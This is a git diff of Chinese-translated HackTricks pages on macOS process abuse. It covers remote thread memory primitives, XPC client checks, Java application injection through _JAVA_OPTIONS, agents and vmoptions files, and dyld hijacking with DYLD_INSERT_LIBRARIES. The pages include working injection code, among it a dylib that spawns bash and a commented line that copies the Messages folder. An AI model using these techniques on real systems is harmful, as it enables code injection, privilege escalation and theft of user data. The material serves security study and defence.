read_func(uint64_t *address) { return *address; } ``` -对于写入内存,使用类似于这种结构的函数: +并且用于写入内存的函数类似于这个结构: ```c void write_func(uint64_t *address, uint64_t value) { *address = value; @@ -71,105 +72,110 @@ _write_func: str x1, [x0] ret ``` -### 识别适当的函数 +### 识别合适的函数 -对常见库的扫描显示了这些操作的适当候选项: +对常见库的扫描揭示了这些操作的合适候选者: 1. **读取内存:** -从[Objective-C运行时库](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html)中的`property_getName()`函数被确定为适合读取内存的函数。以下是该函数的概述: +`property_getName()` 函数来自 [Objective-C 运行时库](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html),被识别为读取内存的合适函数。该函数如下所述: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` -这个函数实际上像`read_func`一样运作,通过返回`objc_property_t`的第一个字段。 +这个函数有效地充当了 `read_func` 的角色,通过返回 `objc_property_t` 的第一个字段。 2. **写入内存:** -查找用于写入内存的预构建函数更具挑战性。然而,来自libxpc的`_xpc_int64_set_value()`函数是一个合适的候选项,具有以下反汇编内容: +找到一个预构建的写入内存的函数更具挑战性。然而,来自 libxpc 的 `_xpc_int64_set_value()` 函数是一个合适的候选者,具有以下反汇编: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -要在特定地址执行64位写操作,远程调用的结构如下: +要在特定地址执行64位写入,远程调用的结构为: ```c _xpc_int64_set_value(address - 0x18, value) ``` +随着这些原语的建立,创建共享内存的阶段已经设定,这标志着对远程进程控制的重大进展。 + ## 4. 共享内存设置 -既然这些基本操作已经建立,现在可以着手创建共享内存,这标志着在控制远程进程方面取得了重要进展。 +目标是在本地和远程任务之间建立共享内存,简化数据传输并促进带有多个参数的函数调用。该方法涉及利用 `libxpc` 及其基于 Mach 内存条目的 `OS_xpc_shmem` 对象类型。 -### 进程概述: +### 过程概述: 1. **内存分配**: - 使用 `mach_vm_allocate()` 分配共享内存。 -- 使用 `xpc_shmem_create()` 创建一个用于分配内存区域的 `OS_xpc_shmem` 对象。该函数将管理 Mach 内存条目的创建,并将 Mach 发送权限存储在 `OS_xpc_shmem` 对象的偏移量 `0x18` 处。 +- 使用 `xpc_shmem_create()` 为分配的内存区域创建 `OS_xpc_shmem` 对象。此函数将管理 Mach 内存条目的创建,并在 `OS_xpc_shmem` 对象的偏移量 `0x18` 存储 Mach 发送权限。 2. **在远程进程中创建共享内存**: -- 使用远程调用 `malloc()` 为远程进程中的 `OS_xpc_shmem` 对象分配内存。 -- 将本地 `OS_xpc_shmem` 对象的内容复制到远程进程。然而,这一初始复制将在偏移量 `0x18` 处具有不正确的 Mach 内存条目名称。 +- 通过对 `malloc()` 的远程调用,在远程进程中为 `OS_xpc_shmem` 对象分配内存。 +- 将本地 `OS_xpc_shmem` 对象的内容复制到远程进程。然而,这个初始复制在偏移量 `0x18` 处将具有不正确的 Mach 内存条目名称。 -3. **纠正 Mach 内存条目**: +3. **修正 Mach 内存条目**: - 利用 `thread_set_special_port()` 方法将 Mach 内存条目的发送权限插入到远程任务中。 -- 通过用远程内存条目的名称覆盖它来纠正偏移量 `0x18` 处的 Mach 内存条目字段。 +- 通过用远程内存条目的名称覆盖偏移量 `0x18` 处的 Mach 内存条目字段来修正它。 4. **完成共享内存设置**: - 验证远程 `OS_xpc_shmem` 对象。 -- 通过远程调用 `xpc_shmem_remote()` 建立共享内存映射。 +- 通过对 `xpc_shmem_remote()` 的远程调用建立共享内存映射。 -通过按照这些步骤操作,本地和远程任务之间的共享内存将被高效地建立,从而实现简单的数据传输和执行需要多个参数的函数。 +通过遵循这些步骤,本地和远程任务之间的共享内存将有效设置,允许简单的数据传输和执行需要多个参数的函数。 -## 附加代码片段 +## 其他代码片段 用于内存分配和共享内存对象创建: ```c mach_vm_allocate(); xpc_shmem_create(); ``` -用于在远程进程中创建和校正共享内存对象: +为了在远程进程中创建和修正共享内存对象: ```c malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` +记得正确处理Mach端口和内存条目名称的细节,以确保共享内存设置正常工作。 + ## 5. 实现完全控制 -成功建立共享内存并获得任意执行能力后,我们基本上已经获得了对目标进程的完全控制。实现这种控制的关键功能包括: +在成功建立共享内存并获得任意执行能力后,我们基本上获得了对目标进程的完全控制。实现这种控制的关键功能包括: 1. **任意内存操作**: -- 通过调用 `memcpy()` 从共享区域复制数据来执行任意内存读取。 -- 使用 `memcpy()` 将数据传输到共享区域以执行任意内存写入。 +- 通过调用`memcpy()`从共享区域复制数据,执行任意内存读取。 +- 通过使用`memcpy()`将数据传输到共享区域,执行任意内存写入。 -2. **处理具有多个参数的函数调用**: -- 对于需要超过 8 个参数的函数,在栈上按照调用约定安排额外的参数。 +2. **处理多个参数的函数调用**: +- 对于需要超过8个参数的函数,按照调用约定将额外参数安排在栈上。 -3. **Mach 端口传输**: -- 通过先前建立的端口,通过 Mach 消息在任务之间传输 Mach 端口。 +3. **Mach端口传输**: +- 通过先前建立的端口,通过Mach消息在任务之间传输Mach端口。 4. **文件描述符传输**: -- 使用文件端口在进程之间传输文件描述符,这是 Ian Beer 在 `triple_fetch` 中强调的一种技术。 +- 使用fileports在进程之间传输文件描述符,这一技术由Ian Beer在`triple_fetch`中强调。 -这种全面的控制被封装在[threadexec](https://github.com/bazad/threadexec)库中,提供了详细的实现和用户友好的 API,用于与受害进程进行交互。 +这种全面控制被封装在[threadexec](https://github.com/bazad/threadexec)库中,提供了详细的实现和用户友好的API,以便与受害进程进行交互。 -## 重要注意事项: +## 重要考虑事项: -- 确保正确使用 `memcpy()` 进行内存读/写操作,以保持系统稳定性和数据完整性。 -- 在传输 Mach 端口或文件描述符时,遵循适当的协议并负责处理资源,以防止泄漏或意外访问。 +- 确保正确使用`memcpy()`进行内存读/写操作,以维护系统稳定性和数据完整性。 +- 在传输Mach端口或文件描述符时,遵循适当的协议并负责任地处理资源,以防止泄漏或意外访问。 -通过遵循这些准则并利用 `threadexec` 库,可以高效地管理和与进程进行精细级别的交互,实现对目标进程的完全控制。 +通过遵循这些指南并利用`threadexec`库,可以有效地管理和与进程进行细粒度交互,实现对目标进程的完全控制。 -## 参考资料 +## 参考文献 * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) +Support HackTricks -支持 HackTricks 的其他方式: - -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 5e56295c5..ab4abe52b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,38 +1,39 @@ # macOS XPC 连接进程检查 +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零到英雄学习 AWS 黑客技术,通过 htARTE (HackTricks AWS 红队专家) +支持 HackTricks -支持 HackTricks 的其他方式: - -* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} ## XPC 连接进程检查 -当与 XPC 服务建立连接时,服务器将检查是否允许连接。通常会执行以下检查: +当与 XPC 服务建立连接时,服务器将检查该连接是否被允许。通常会执行以下检查: -1. 检查连接的**进程是否由苹果签名**的证书签名(只由苹果发放)。 - * 如果这个**未经验证**,攻击者可以创建一个**假证书**来匹配任何其他检查。 -2. 检查连接的进程是否由**组织的证书**签名(团队 ID 验证)。 - * 如果这个**未经验证**,**任何苹果的开发者证书**都可以用来签名,并连接到服务。 -3. 检查连接的进程**是否包含正确的捆绑 ID**。 - * 如果这个**未经验证**,任何**由同一组织签名**的工具都可以用来与 XPC 服务交互。 -4. (4 或 5) 检查连接的进程是否有一个**正确的软件版本号**。 - * 如果这个**未经验证**,旧的、不安全的客户端,容易受到进程注入攻击的客户端,即使其他检查到位,也可以用来连接到 XPC 服务。 -5. (4 或 5) 检查连接的进程是否启用了硬化运行时,没有危险的权限(比如允许加载任意库或使用 DYLD 环境变量的权限) - * 如果这个**未经验证**,客户端可能**容易受到代码注入攻击** -6. 检查连接的进程是否有一个**权限**,允许它连接到服务。这适用于苹果的二进制文件。 -7. **验证**必须**基于**连接**客户端的审计令牌**,**而不是**它的进程 ID (**PID**),因为前者可以防止**PID 重用攻击**。 - * 开发者**很少使用审计令牌** API 调用,因为它是**私有的**,所以苹果可以随时**更改**。此外,Mac App Store 应用不允许使用私有 API。 - * 如果使用了方法 **`processIdentifier`**,它可能会受到攻击 - * 应该使用 **`xpc_dictionary_get_audit_token`** 而不是 **`xpc_connection_get_audit_token`**,因为后者在某些情况下也可能[受到攻击](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。 +1. 检查连接的 **进程是否使用 Apple 签名** 的证书(仅由 Apple 发放)。 +* 如果 **未验证**,攻击者可以创建一个 **伪造证书** 来匹配其他检查。 +2. 检查连接进程是否使用 **组织的证书**(团队 ID 验证)。 +* 如果 **未验证**,可以使用 **任何开发者证书** 从 Apple 进行签名,并连接到服务。 +3. 检查连接进程 **是否包含正确的包 ID**。 +* 如果 **未验证**,任何 **由同一组织签名的工具** 都可以用来与 XPC 服务交互。 +4. (4 或 5) 检查连接进程是否具有 **正确的软件版本号**。 +* 如果 **未验证**,旧的、不安全的客户端,易受进程注入攻击,可以连接到 XPC 服务,即使其他检查已到位。 +5. (4 或 5) 检查连接进程是否具有没有危险权限的 **强化运行时**(如允许加载任意库或使用 DYLD 环境变量的权限)。 +* 如果 **未验证**,客户端可能 **易受代码注入**。 +6. 检查连接进程是否具有允许其连接到服务的 **权限**。这适用于 Apple 二进制文件。 +7. **验证** 必须 **基于** 连接 **客户端的审计令牌** **而不是** 其进程 ID (**PID**),因为前者可以防止 **PID 重用攻击**。 +* 开发者 **很少使用审计令牌** API 调用,因为它是 **私有的**,所以 Apple 可能会 **随时更改**。此外,Mac App Store 应用不允许使用私有 API。 +* 如果使用 **`processIdentifier`** 方法,可能会存在漏洞。 +* 应使用 **`xpc_dictionary_get_audit_token`** 而不是 **`xpc_connection_get_audit_token`**,因为后者在某些情况下也可能 [存在漏洞](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。 ### 通信攻击 @@ -48,13 +49,13 @@ [macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) {% endcontent-ref %} -### Trustcache - 防止降级攻击 +### Trustcache - 降级攻击防范 -Trustcache 是在苹果硅芯片机器中引入的一种防御方法,它存储了苹果二进制文件的 CDHSAH 数据库,因此只允许执行未修改的允许的二进制文件。这可以防止执行降级版本。 +Trustcache 是一种防御方法,旨在 Apple Silicon 机器中引入,存储 Apple 二进制文件的 CDHSAH 数据库,以便仅允许未修改的二进制文件执行。这可以防止降级版本的执行。 ### 代码示例 -服务器将在一个名为 **`shouldAcceptNewConnection`** 的函数中实现这个**验证**。 +服务器将在名为 **`shouldAcceptNewConnection`** 的函数中实现此 **验证**。 {% code overflow="wrap" %} ```objectivec @@ -65,9 +66,9 @@ return YES; ``` {% endcode %} -对象 NSXPCConnection 有一个**私有**属性 **`auditToken`**(应该使用的,但可能会变化)和一个**公共**属性 **`processIdentifier`**(不应该使用的)。 +对象 NSXPCConnection 有一个 **私有** 属性 **`auditToken`**(应该使用但可能会改变)和一个 **公共** 属性 **`processIdentifier`**(不应该使用)。 -连接进程可以通过类似以下方式进行验证: +连接的进程可以通过以下方式进行验证: {% code overflow="wrap" %} ```objectivec @@ -108,16 +109,19 @@ if ((csFlags & (cs_hard | cs_require_lv)) { return Yes; // Accept connection } ``` +{% endcode %} + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客攻击直至成为专家,通过 htARTE (HackTricks AWS Red Team Expert) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index dcb1d5a43..c22f0090d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ -# macOS Java 应用程序注入 +# macOS Java Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) +Support HackTricks -支持 HackTricks 的其他方式: - -* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## 枚举 +## Enumeration -查找安装在您系统中的 Java 应用程序。注意到在 **Info.plist** 中的 Java 应用程序将包含一些包含字符串 **`java.`** 的 Java 参数,因此您可以搜索该字符串: +查找安装在系统中的Java应用程序。注意到**Info.plist**中的Java应用程序将包含一些包含字符串**`java.`**的java参数,因此您可以搜索该字符串: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -环境变量 **`_JAVA_OPTIONS`** 可以用于在执行已编译的 Java 应用程序时注入任意的 Java 参数: +环境变量 **`_JAVA_OPTIONS`** 可用于在执行编译的 Java 应用程序时注入任意 Java 参数: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" ``` -要将其作为一个新进程而不是当前终端的子进程来执行,您可以使用: +要将其作为新进程而不是当前终端的子进程执行,可以使用: ```objectivec #import // clang -fobjc-arc -framework Foundation invoker.m -o invoker @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -然而,这将在执行的应用程序上触发错误,另一种更隐蔽的方法是创建一个Java代理并使用: +然而,这会在执行的应用程序上触发错误,另一种更隐蔽的方法是创建一个 Java 代理并使用: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -95,10 +96,12 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` {% hint style="danger" %} -使用与应用程序**不同的Java版本**创建代理可能会导致代理和应用程序的执行崩溃 +使用与应用程序**不同的 Java 版本**创建代理可能会导致代理和应用程序的执行崩溃 {% endhint %} 代理可以是: + +{% code title="Agent.java" %} ```java import java.io.*; import java.lang.instrument.*; @@ -117,7 +120,7 @@ err.printStackTrace(); ``` {% endcode %} -编译代理程序的方法如下: +要编译代理,请运行: ```bash javac Agent.java # Create Agent.class jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar @@ -129,7 +132,7 @@ Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -然后导出环境变量并运行Java应用程序,如下所示: +然后导出环境变量并运行 Java 应用程序,如: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -138,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` -## vmoptions文件 +## vmoptions 文件 -该文件支持在执行Java时指定**Java参数**。您可以使用之前的一些技巧来更改Java参数并**使进程执行任意命令**。\ -此外,该文件还可以通过`include`指令**包含其他文件**,因此您也可以更改一个被包含的文件。 +此文件支持在执行 Java 时指定 **Java 参数**。您可以使用之前的一些技巧来更改 Java 参数并 **使进程执行任意命令**。\ +此外,此文件还可以使用 `include` 目录 **包含其他文件**,因此您也可以更改包含的文件。 -更有甚者,一些Java应用程序会**加载多个`vmoptions`**文件。 +更重要的是,一些 Java 应用程序会 **加载多个 `vmoptions`** 文件。 -一些应用程序,如Android Studio,在其**输出中指示它们正在查找**这些文件的位置,例如: +一些应用程序,如 Android Studio,会在其 **输出中指示它们正在查找** 这些文件的位置,例如: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -156,7 +159,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` -如果他们没有,您可以轻松检查它: +如果他们没有,你可以轻松检查: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal @@ -164,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -注意这个例子中有趣的地方是,Android Studio 正试图加载文件 **`/Applications/Android Studio.app.vmoptions`**,这是任何来自 **`admin` 组的用户都具有写入权限的地方。** +注意,在这个例子中,Android Studio 正在尝试加载文件 **`/Applications/Android Studio.app.vmoptions`**,这是任何来自 **`admin` 组的用户都有写入权限** 的地方。 diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index ee9ddb297..cfea6b7e9 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,23 +1,23 @@ # macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -其他支持HackTricks的方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} ## DYLD\_INSERT\_LIBRARIES 基本示例 -**要注入的库**以执行shell: - +**要注入的库** 以执行 shell: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -35,9 +35,7 @@ execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` - -攻击的二进制文件: - +二进制攻击目标: ```c // gcc hello.c -o hello #include @@ -48,21 +46,23 @@ printf("Hello, World!\n"); return 0; } ``` - 注入: - ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` +## Dyld Hijacking 示例 -## Dyld劫持示例 - -目标易受攻击的二进制文件是`/Applications/VulnDyld.app/Contents/Resources/lib/binary`。 +目标易受攻击的二进制文件是 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`。 +{% tabs %} +{% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 [...]com.apple.security.cs.disable-library-validation[...]
 
+{% endtab %} +{% tab title="LC_RPATH" %} +{% code overflow="wrap" %} ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 @@ -74,12 +74,11 @@ cmd LC_RPATH cmdsize 32 path @loader_path/../lib2 (offset 12) ``` - -{% code overflow="wrap" %} -``` -``` {% endcode %} +{% endtab %} +{% tab title="@rpath" %} +{% code overflow="wrap" %} ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 @@ -89,14 +88,16 @@ current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` +{% endcode %} +{% endtab %} +{% endtabs %} -根据前面的信息,我们知道它**没有检查加载的库的签名**,并且**试图从以下位置加载库**: +根据之前的信息,我们知道它**没有检查加载库的签名**,并且**试图从以下位置加载库**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -然而,第一个不存在: - +然而,第一个库并不存在: ```bash pwd /Applications/VulnDyld.app @@ -104,8 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` - -所以,它是可以被劫持的!创建一个库,**执行一些任意代码并通过重新导出来导出相同的功能**作为合法库。并记得使用期望的版本进行编译: +所以,可以劫持它!创建一个库,**执行一些任意代码并通过重新导出相同的功能**来导出与合法库相同的功能。并记得使用预期的版本进行编译: {% code title="lib.m" %} ```objectivec @@ -127,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found ``` {% endcode %} -在库中创建的重新导出路径是相对于加载器的,让我们将其更改为要导出的库的绝对路径: +在库中创建的重新导出路径是相对于加载器的,让我们将其更改为库的绝对路径以进行导出: {% code overflow="wrap" %} ```bash @@ -148,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con ``` {% endcode %} -最后只需将其复制到**劫持位置**: +最后将其复制到**劫持的位置**: {% code overflow="wrap" %} ```bash @@ -156,35 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} -然后**执行**二进制文件并检查**库是否被加载**: +并**执行**二进制文件并检查**库是否已加载**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
-Usage: [...]
+用法: [...]
 
